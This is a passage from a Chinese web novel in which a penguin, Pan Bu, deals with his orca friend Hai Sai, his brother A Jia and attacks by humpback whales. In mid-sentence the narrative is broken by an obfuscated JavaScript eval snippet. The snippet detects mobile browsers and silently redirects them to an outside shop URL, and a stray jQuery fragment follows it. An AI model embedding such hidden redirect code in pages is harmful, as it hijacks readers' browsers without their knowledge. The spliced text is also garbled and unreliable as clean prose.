没一会儿,海德就带着族群以极快的速度游了过来,整个虎鲸群不断发出无比愤怒的叫声。 潘步赶忙跳到了海里,先安抚了哭的厉害的海赛,继而又安抚了怒不可遏的海德。 直到海德情绪平稳下来,他才说: “如果你真为了我好,就不要再保护我的族群,帝企鹅游速很快都是在危险中锻炼出来的,而且你再厉害,也不可能杀光所有座头鲸……” 海德只能说:“阿步,以后我们不往来了吧。” 潘步强硬道:“不行,而且不往来也没用。” 他永远不会说,他就是放不下赛赛,无论如何,他都要崽子恢复基本生存能力。 海赛只是呆呆的看着阿步,再看向远处的座头鲸,最后环视四方海域,眼里眸光闪动,喃喃自语: “妈咪,你好小啊,座头鲸好大,海洋好大,别的虎鲸太凶残,大海太危险……” 潘步是真怕吓坏了崽子,连忙安慰: “赛赛,你看,我小是小,但我游速超快啊,虎鲸都追不上,座头鲸更追不上!你看,我和我的族群都很好!” …… 此后一段时间,潘步的族群经常遭遇座头鲸偷袭,全靠反应快以及游速快保命。 蓝影和蓝星回到南极海域的时候,夏季已经快结束。 他们当然成功分开了巨鼻和巨牙,潘步也就放心多了。 冬季即将来临,帝企鹅又要回到冰原上繁育幼崽。 蓝星和海赛都非常舍不得阿步,每天大部分时间几乎都跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952229|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿步在一起。 潘步感到很满足,但又总觉得哪里不对劲。 直到这天,他带着蓝星和海赛到处游着玩,阿加带着幼崽族群朝着他游了过来! 他怎么都没想到,幼崽族群只用了半年的时间,就能具备最快的游速,居然就能游到远洋! 阿加猛的扑到了哥哥的怀里,声音颤抖的厉害:“哥哥,我很想你。” 他跟哥哥亲昵了许久,直到哥哥询问他幼崽们的伤亡情况,他立马如实相告,最后非常愧疚的说: “哥哥,对不起,我没有保护好他们。” 潘步只感到无比惊喜,几千只幼崽,死亡了几百只,这已经是超高的存活率! 要知道,帝企鹅幼崽下海锻炼到成年,这期间存活率还不足20%。 海赛好奇的问:“妈咪,这就是你经常提起的阿加吗?” 潘步赶忙介绍了他们认识。 阿加疑惑道:“哥哥,我不知道为什么,到远洋后,座头鲸群总是攻击我们,我们只能游的更快更快……” 潘步听着,无比心疼又愧疚。 阿加又问:“哥哥,你这次回到岸上,是不是就要生自己的崽子了?” 潘步还真没想过这个问题,不过他应该生崽子了,这已经是他成年后的第二个冬季。 阿加十分为难的说:“哥哥,你可以留在海里吗,我们不知道怎么躲避座头鲸。” 帝企鹅幼崽下海后,直到四岁成年之前,都不会再回到岸上,会一直在大海历练成长。 但从来没有成年帝企鹅会留下来陪崽子们,潘步当然不同意,果断拒绝:“不行。” 阿加无比坚定的说:“哥哥,你放心,我会保护好其他幼崽,我很厉害!” 海赛哽咽道:“妈咪,对不起,都怪我。” 潘步左想右想,最终还是说:“我先回去跟阿让商量一下,阿加,你把崽子们带到其他海域去,我会再来找你。” 帝企鹅幼崽下海后就不能再和父母所在的族群接触,以免崽子们赖上父母,成年后也不会再回去父母族群,会组建新族群。 因此族群幼崽越多越好,一起成长一起下海历练,新族群也就越强大。 潘步离开很久后,阿加才独自来到海底珊瑚礁群,海赛和蓝星已经等在这里。 阿加来远洋已经好些天,为了让哥哥留在大海,他先偷偷找了蓝星和海赛。 他找到海赛的时候,海赛正愁要不要告诉阿步,自己的病好了。 海赛又怕告诉阿步后,阿步明年下海就不见他了,毕竟就因为他,座头鲸总是攻击阿步族群。 他原本已经决定要告诉阿步,阿加就来找他,要他继续瞒下去。 海赛万分凶恶的说:“如果这样还是留不住妈咪,我就,我就去打座头鲸!我真的很想告诉阿步,我的病好了,他肯定会很开心!” 蓝星担忧道:“阿加,座头鲸没有攻击过你的族群,早晚会穿帮。” 阿加坚定道:“只要族群上岸,过了繁殖期,哥哥今年就只能留在大海。” 海赛凶巴巴的说:“阿步知道肯定会很生气,阿加,到时候,你要承认,都是你的主意!不行,我好难受,我要去打座头鲸!” 阿加催促道:“去吧,记得告诉座头鲸,我是阿步带大的,阿步是我的哥哥。” 海赛:“……”